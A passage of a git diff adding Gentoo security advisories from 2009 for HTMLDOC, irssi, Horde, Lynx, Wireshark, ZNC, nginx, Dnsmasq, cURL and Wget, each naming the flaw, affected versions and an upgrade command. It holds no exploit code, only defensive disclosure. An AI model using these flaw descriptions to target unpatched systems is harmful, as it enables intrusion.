+  <metadata tag="requester" timestamp="Mon, 25 May 2009 20:39:27 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 08:04:45 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:38:17 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-12.xml b/xml/htdocs/security/en/glsa/glsa-200909-12.xml
new file mode 100644
index 00000000..d0575495
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-12.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-12">
+  <title>HTMLDOC: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple insecure calls to the sscanf() function in HTMLDOC might result in
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">htmldoc</product>
+  <announced>September 12, 2009</announced>
+  <revised>September 12, 2009: 01</revised>
+  <bug>278186</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/htmldoc" auto="yes" arch="*">
+      <unaffected range="ge">1.8.27-r1</unaffected>
+      <vulnerable range="lt">1.8.27-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    HTMLDOC is a HTML indexer and HTML to PS and PDF converter.
+    </p>
+  </background>
+  <description>
+    <p>
+    ANTHRAX666 reported an insecure call to the sscanf() function in the
+    set_page_size() function in htmldoc/util.cxx. Nico Golde of the Debian
+    Security Team found two more insecure calls in the write_type1()
+    function in htmldoc/ps-pdf.cxx and the htmlLoadFontWidths() function in
+    htmldoc/htmllib.cxx.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process a specially crafted
+    HTML file using htmldoc, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running the application.
+    NOTE: Additional vectors via specially crafted AFM font metric files do
+    not cross trust boundaries, as the files can only be modified by
+    privileged users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All HTMLDOC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/htmldoc-1.8.27-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3050">CVE-2009-3050</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Aug 2009 18:35:26 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Aug 2009 18:45:17 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 06 Sep 2009 09:53:24 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-13.xml b/xml/htdocs/security/en/glsa/glsa-200909-13.xml
new file mode 100644
index 00000000..36414faf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-13.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-13">
+  <title>irssi: Execution of arbitrary code</title>
+  <synopsis>
+    A remotely exploitable off-by-one error leading to a heap overflow was
+    found in irssi which might result in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">irssi</product>
+  <announced>September 12, 2009</announced>
+  <revised>September 12, 2009: 01</revised>
+  <bug>271875</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/irssi" auto="yes" arch="*">
+      <unaffected range="ge">0.8.13-r1</unaffected>
+      <vulnerable range="lt">0.8.13-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    irssi is a modular textUI IRC client with IPv6 support.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nemo discovered an off-by-one error leading to a heap overflow in
+    irssi's event_wallops() parsing function.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker might entice a user to connect to a malicious IRC
+    server, use a man-in-the-middle attack to redirect a user to such a
+    server or use ircop rights to send a specially crafted WALLOPS message,
+    which might result in the execution of arbitrary code with the
+    privileges of the user running irssi.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All irssi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/irssi-0.8.13-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1959">CVE-2009-1959</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 10 Jun 2009 19:45:21 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 02 Jul 2009 19:15:53 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 12 Sep 2009 16:10:35 +0000">
+    craig
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-14.xml b/xml/htdocs/security/en/glsa/glsa-200909-14.xml
new file mode 100644
index 00000000..4025274f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-14.xml
@@ -0,0 +1,115 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-14">
+  <title>Horde: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Horde and two modules,
+    allowing for the execution of arbitrary code, information disclosure, or
+    Cross-Site Scripting.
+  </synopsis>
+  <product type="ebuild">horde horde-imp horde-passwd</product>
+  <announced>September 12, 2009</announced>
+  <revised>September 12, 2009: 01</revised>
+  <bug>256125</bug>
+  <bug>262976</bug>
+  <bug>262978</bug>
+  <bug>277294</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde" auto="yes" arch="*">
+      <unaffected range="ge">3.3.4</unaffected>
+      <vulnerable range="lt">3.3.4</vulnerable>
+    </package>
+    <package name="www-apps/horde-imp" auto="yes" arch="*">
+      <unaffected range="ge">4.3.4</unaffected>
+      <vulnerable range="lt">4.3.4</vulnerable>
+    </package>
+    <package name="www-apps/horde-passwd" auto="yes" arch="*">
+      <unaffected range="ge">3.1.1</unaffected>
+      <vulnerable range="lt">3.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Horde is a web application framework written in PHP. Horde IMP, the
+    "Internet Messaging Program", is a Webmail module and Horde Passwd is a
+    password changing module for Horde.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Horde:
+    </p>
+    <ul>
+    <li>Gunnar Wrobel reported an input sanitation and directory traversal
+    flaw in framework/Image/Image.php, related to the "Horde_Image driver
+    name" (CVE-2009-0932).</li>
+    <li>Gunnar Wrobel reported that data sent
+    to horde/services/portal/cloud_search.php is not properly sanitized
+    before used in the output (CVE-2009-0931).</li>
+    <li>It was reported
+    that data sent to framework/Text_Filter/Filter/xss.php is not properly
+    sanitized before used in the output (CVE-2008-5917).</li>
+    </ul> <p>
+    Horde Passwd: David Wharton reported that data sent via the "backend"
+    parameter to passwd/main.php is not properly sanitized before used in
+    the output (CVE-2009-2360).
+    </p>
+    <p>
+    Horde IMP: Gunnar Wrobel reported that data sent to smime.php, pgp.php,
+    and message.php is not properly sanitized before used in the output
+    (CVE-2009-0930).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote authenticated attacker could exploit these vulnerabilities to
+    execute arbitrary PHP files on the server, or disclose the content of
+    arbitrary files, both only if the file is readable to the web server. A
+    remote authenticated attacker could conduct Cross-Site Scripting
+    attacks. NOTE: Some Cross-Site Scripting vectors are limited to the
+    usage of Microsoft Internet Explorer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Horde users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-3.3.4&quot;</code>
+    <p>
+    All Horde IMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-imp-4.3.4&quot;</code>
+    <p>
+    All Horde Passwd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-passwd-3.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5917">CVE-2008-5917</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0930">CVE-2009-0930</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0931">CVE-2009-0931</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0932">CVE-2009-0932</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2360">CVE-2009-2360</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 02 Sep 2009 04:40:46 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 02 Sep 2009 04:40:52 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-15.xml b/xml/htdocs/security/en/glsa/glsa-200909-15.xml
new file mode 100644
index 00000000..80ad0184
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-15.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-15">
+  <title>Lynx: Arbitrary command execution</title>
+  <synopsis>
+    An incomplete fix for an issue related to the Lynx URL handler might allow
+    for the remote execution of arbitrary commands.
+  </synopsis>
+  <product type="ebuild">lynx</product>
+  <announced>September 12, 2009</announced>
+  <revised>September 12, 2009: 01</revised>
+  <bug>243058</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/lynx" auto="yes" arch="*">
+      <unaffected range="ge">2.8.6-r4</unaffected>
+      <vulnerable range="lt">2.8.6-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Lynx is a fully-featured WWW client for users running
+    cursor-addressable, character-cell display devices such as vt100
+    terminals and terminal emulators.
+    </p>
+  </background>
+  <description>
+    <p>
+    Clint Ruoho reported that the fix for CVE-2005-2929 (GLSA 200511-09)
+    only disabled the lynxcgi:// handler when not using the advanced mode.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can entice a user to access a malicious HTTP server,
+    causing Lynx to execute arbitrary commands. NOTE: The advanced mode is
+    not enabled by default. Successful exploitation requires the
+    "lynxcgi://" protocol to be registered with lynx on the victim's
+    system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Lynx users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/lynx-2.8.6-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2929">CVE-2005-2929</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4690">CVE-2008-4690</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200511-09.xml">GLSA 200511-09</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 07 Aug 2009 11:47:31 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 08:16:43 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:37:19 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-16.xml b/xml/htdocs/security/en/glsa/glsa-200909-16.xml
new file mode 100644
index 00000000..c50c13ad
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-16.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-16">
+  <title>Wireshark: Denial of Service</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Wireshark which allow for
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>September 13, 2009</announced>
+  <revised>September 13, 2009: 01</revised>
+  <bug>278564</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">1.2.1</unaffected>
+      <vulnerable range="lt">1.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a versatile network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were discovered in Wireshark:
+    </p>
+    <ul>
+    <li>A
+    buffer overflow in the IPMI dissector related to an array index error
+    (CVE-2009-2559).</li>
+    <li>Multiple unspecified vulnerabilities in the
+    Bluetooth L2CAP, RADIUS, and MIOP dissectors (CVE-2009-2560).</li>
+    <li>An unspecified vulnerability in the sFlow dissector
+    (CVE-2009-2561).</li>
+    <li>An unspecified vulnerability in the AFS
+    dissector (CVE-2009-2562).</li>
+    <li>An unspecified vulnerability in the
+    Infiniband dissector when running on unspecified platforms
+    (CVE-2009-2563).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by sending
+    specially crafted packets on a network being monitored by Wireshark or
+    by enticing a user to read a malformed packet trace file to cause a
+    Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-1.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2559">CVE-2009-2559</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2560">CVE-2009-2560</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2561">CVE-2009-2561</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2562">CVE-2009-2562</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2563">CVE-2009-2563</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 25 Aug 2009 10:03:54 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 25 Aug 2009 13:10:41 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 25 Aug 2009 13:28:12 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-17.xml b/xml/htdocs/security/en/glsa/glsa-200909-17.xml
new file mode 100644
index 00000000..400d7d8b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-17.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-17">
+  <title>ZNC: Directory traversal</title>
+  <synopsis>
+    A directory traversal was found in ZNC, allowing for overwriting of
+    arbitrary files.
+  </synopsis>
+  <product type="ebuild">znc</product>
+  <announced>September 13, 2009</announced>
+  <revised>September 13, 2009: 01</revised>
+  <bug>278684</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/znc" auto="yes" arch="*">
+      <unaffected range="ge">0.074</unaffected>
+      <vulnerable range="lt">0.074</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ZNC is an advanced IRC bouncer.
+    </p>
+  </background>
+  <description>
+    <p>
+    The vendor reported a directory traversal vulnerability when processing
+    DCC SEND requests.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote, authenticated user could send a specially crafted DCC SEND
+    request to overwrite arbitrary files with the privileges of the user
+    running ZNC, and possibly cause the execution of arbitrary code e.g. by
+    uploading a malicious ZNC module.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ZNC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/znc-0.074&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2658">CVE-2009-2658</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 14 Aug 2009 18:19:47 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 14 Aug 2009 18:28:31 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 08:50:23 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-18.xml b/xml/htdocs/security/en/glsa/glsa-200909-18.xml
new file mode 100644
index 00000000..5ecfc534
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-18.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-18">
+  <title>nginx: Remote execution of arbitrary code</title>
+  <synopsis>
+    A buffer underflow vulnerability in the request URI processing of nginx
+    might enable remote attackers to execute arbitrary code or cause a Denial
+    of Service.
+  </synopsis>
+  <product type="ebuild">nginx</product>
+  <announced>September 18, 2009</announced>
+  <revised>September 18, 2009: 01</revised>
+  <bug>285162</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/nginx" auto="yes" arch="*">
+      <unaffected range="rge">0.5.38</unaffected>
+      <unaffected range="rge">0.6.39</unaffected>
+      <unaffected range="ge">0.7.62</unaffected>
+      <vulnerable range="lt">0.7.62</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    nginx is a robust, small and high performance HTTP and reverse proxy
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Ries reported a heap-based buffer underflow in the
+    ngx_http_parse_complex_uri() function in http/ngx_http_parse.c when
+    parsing the request URI.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker might send a specially crafted request URI to a nginx
+    server, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user running the server, or a Denial of
+    Service. NOTE: By default, nginx runs as the "nginx" user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All nginx 0.5.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/nginx-0.5.38&quot;</code>
+    <p>
+    All nginx 0.6.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/nginx-0.6.39&quot;</code>
+    <p>
+    All nginx 0.7.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/nginx-0.7.62&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2629">CVE-2009-2629</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 14 Sep 2009 19:21:09 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Sep 2009 19:51:52 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 18 Sep 2009 19:40:49 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-19.xml b/xml/htdocs/security/en/glsa/glsa-200909-19.xml
new file mode 100644
index 00000000..96207670
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-19.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-19">
+  <title>Dnsmasq: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Dnsmasq might result in the remote execution of
+    arbitrary code, or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">dnsmasq</product>
+  <announced>September 20, 2009</announced>
+  <revised>September 20, 2009: 01</revised>
+  <bug>282653</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/dnsmasq" auto="yes" arch="*">
+      <unaffected range="ge">2.5.0</unaffected>
+      <vulnerable range="lt">2.5.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dnsmasq is a lightweight, easy to configure DNS forwarder and DHCP
+    server. It includes support for Trivial FTP (TFTP).
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in the TFTP functionality
+    included in Dnsmasq:
+    </p>
+    <ul>
+    <li>Pablo Jorge and Alberto Solino
+    discovered a heap-based buffer overflow (CVE-2009-2957).</li>
+    <li>An
+    anonymous researcher reported a NULL pointer reference
+    (CVE-2009-2958).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker in the local network could exploit these
+    vulnerabilities by sending specially crafted TFTP requests to a machine
+    running Dnsmasq, possibly resulting in the remote execution of
+    arbitrary code with the privileges of the user running the daemon, or a
+    Denial of Service. NOTE: The TFTP server is not enabled by default.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    You can disable the TFTP server either at buildtime by not enabling the
+    "tftp" USE flag, or at runtime. Make sure "--enable-tftp" is not set in
+    the DNSMASQ_OPTS variable in the /etc/conf.d/dnsmasq file and
+    "enable-tftp" is not set in /etc/dnsmasq.conf, either of which would
+    enable TFTP support if it is compiled in.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dnsmasq users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/dnsmasq-2.5.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2957">CVE-2009-2957</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2958">CVE-2009-2958</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 01 Sep 2009 10:28:12 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Sep 2009 18:56:49 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-20.xml b/xml/htdocs/security/en/glsa/glsa-200909-20.xml
new file mode 100644
index 00000000..01bdfe91
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-20.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-20">
+  <title>cURL: Certificate validation error</title>
+  <synopsis>
+    An error in the X.509 certificate handling of cURL might enable remote
+    attackers to conduct man-in-the-middle attacks.
+  </synopsis>
+  <product type="ebuild">curl</product>
+  <announced>September 25, 2009</announced>
+  <revised>September 25, 2009: 01</revised>
+  <bug>281515</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/curl" auto="yes" arch="*">
+      <unaffected range="ge">7.19.6</unaffected>
+      <vulnerable range="lt">7.19.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    cURL is a command line tool for transferring files with URL syntax,
+    supporting numerous protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Scott Cantor reported that cURL does not properly handle fields in
+    X.509 certificates that contain an ASCII NUL (\0) character.
+    Specifically, the processing of such fields is stopped at the first
+    occurence of a NUL character. This type of vulnerability was recently
+    discovered by Dan Kaminsky and Moxie Marlinspike.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might employ a specially crafted X.509 certificate
+    (that for instance contains a NUL character in the Common Name field)
+    to conduct man-in-the-middle attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All cURL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/curl-7.19.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2417">CVE-2009-2417</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 13 Sep 2009 18:08:24 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Sep 2009 12:08:01 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 25 Sep 2009 18:22:08 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200910-01.xml b/xml/htdocs/security/en/glsa/glsa-200910-01.xml
new file mode 100644
index 00000000..d3f4428e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200910-01.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200910-01">
+  <title>Wget: Certificate validation error</title>
+  <synopsis>
+    An error in the X.509 certificate handling of Wget might enable remote
+    attackers to conduct man-in-the-middle attacks.
+  </synopsis>
+  <product type="ebuild">wget</product>
+  <announced>October 20, 2009</announced>
+  <revised>October 20, 2009: 01</revised>
+  <bug>286058</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/wget" auto="yes" arch="*">
+      <unaffected range="ge">1.12</unaffected>
+      <vulnerable range="lt">1.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU Wget is a free software package for retrieving files using HTTP,
+    HTTPS and FTP, the most widely-used Internet protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    The vendor reported that Wget does not properly handle Common Name (CN)
+    fields in X.509 certificates that contain an ASCII NUL (\0) character.
+    Specifically, the processing of such fields is stopped at the first
+    occurrence of a NUL character. This type of vulnerability was recently
+    discovered by Dan Kaminsky and Moxie Marlinspike.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might employ a specially crafted X.509 certificate,
+    containing a NUL character in the Common Name field to conduct
+    man-in-the-middle attacks on SSL connections made using Wget.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wget users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/wget-1.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3490">CVE-2009-3490</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 07 Oct 2009 19:10:37 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 07 Oct 2009 19:14:43 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 20 Oct 2009 19:38:52 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200910-02.xml b/xml/htdocs/security/en/glsa/glsa-200910-02.xml
new file mode 100644
